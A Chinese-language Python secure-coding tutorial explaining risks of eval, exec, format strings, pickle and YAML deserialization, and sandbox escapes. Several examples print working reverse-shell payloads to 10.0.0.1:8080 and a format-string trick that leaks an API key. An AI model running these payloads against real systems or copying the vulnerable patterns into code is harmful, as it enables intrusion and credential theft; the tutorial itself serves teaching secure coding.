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Python编程安全

1.危险函数

在Python中，一些函数如果不当使用，可能会导致严重的安全问题。以下是三个常见的危险函数及其潜在风险：

1.1 eval

eval 函数能够将字符串作为代码执行，这使得它非常危险。攻击者可以通过构造恶意字符串，绕过身份验证或执行恶意操作。

示例：

eval('1+1')  # 返回 2

def addition(a, b):    return eval("%s + %s" % (a, b))result = addition(request.json['a'], request.json['b'])

{    "a": "__import__('os').system('bash -i > /dev/tcp/10.0.0.1/8080 0>&1')#",    "b": "2"}

上述输入会通过 os.system() 调用，绑定一个反向 shell。

1.2 exec

exec 函数与 eval 类似，直接执行字符串代码，同样存在严重安全隐患。

示例：

def addition(a, b):    return exec("%s + %s" % (a, b))

1.3 input

在 Python 2 中，input() 函数可以直接读取用户输入，且不进行任何类型验证。攻击者可以通过构造输入，绕过认证或导致其他安全问题。

示例：

user_pass = get_user_pass("admin")if user_pass == input("Please enter your password"):    login()else:    print("Password is incorrect!")

攻击者可以输入 user_pass 作为变量名，导致 if user_pass == user_pass 为真，伪造认证。

2.字符串格式化

str.format() 和 format() 函数可以通过构造格式字符串，访问程序内的私有数据或执行恶意操作。

示例：

CONFIG = {    "API_KEY": "xxxxxxxxxxxxxxxxxxxxx"}class Person(object):    def __init__(self, name):        self.name = namedef print_nametag(format_string, person):    return format_string.format(person=person)new_person = Person("Pxiaoer")print_nametag(input("Please format your nametag!"), new_person)

print_nametag("{person.__init__.__globals__[CONFIG][API_KEY]}", new_person)

上述代码会泄露 API_KEY。

3.反序列化

3.1 Pickle

Pickle 是 Python 的序列化工具，但由于它不提供加密或验证机制，反序列化可以导致身份验证绕过或代码执行。

示例：

class Malicious:    def __reduce__(self):        return (os.system, ('bash -i > /dev/tcp/10.0.0.1/8080 0>&1',))fake_object = Malicious()session_cookie = base64.b64encode(pickle.dumps(fake_object))

反序列化时会执行 os.system，绑定一个反向 shell。

3.2 YAML 解析

YAML 解析也存在安全隐患，攻击者可以构造恶意 YAML 文件，绕过访问控制或执行代码。

示例：

!!python/object/apply:os.system ["bash -i > /dev/tcp/10.0.0.1/8080 0>&1"]

4.沙箱逃逸

在受限的沙箱环境中，攻击者可以通过调用特定函数（如 os.system, subprocess.call 等）获取更多权限。

示例：

import osimport subprocessimport commandsos.system('ifconfig')os.popen('ifconfig')commands.getoutput('ifconfig')commands.getstatusoutput('ifconfig')subprocess.call(['ifconfig'], shell=True)

攻击者可以通过这些函数直接执行 shell 命令。

5.安全编码规范

5.1 Web 编程

• Flask 安全：使用 Flask-Security，避免直接生成 HTML，正确处理输入数据。
• Django 安全：配置安全中间件，启用 HSTS 和 HTTPS，妥善存储秘密键。
• XSS：避免直接在响应中拼接用户输入，使用安全渲染函数。
• CSRF：使用 Django 的 csrf 中间件保护重要操作。
• 命令注入：避免使用 os.system 等直接执行 shell 命令，使用 shutil.rmtree 等安全函数。
• 文件操作：限制文件下载和上传，防止目录穿越。

5.2 审计工具

• 使用工具如 logrotate 和 auditd 定期审计日志和配置文件。

6.参考文章

• Python语言安全问题
• Python安全编码规范
• Python沙箱逃逸
• Flask 安全
• PyYAML 反序列化漏洞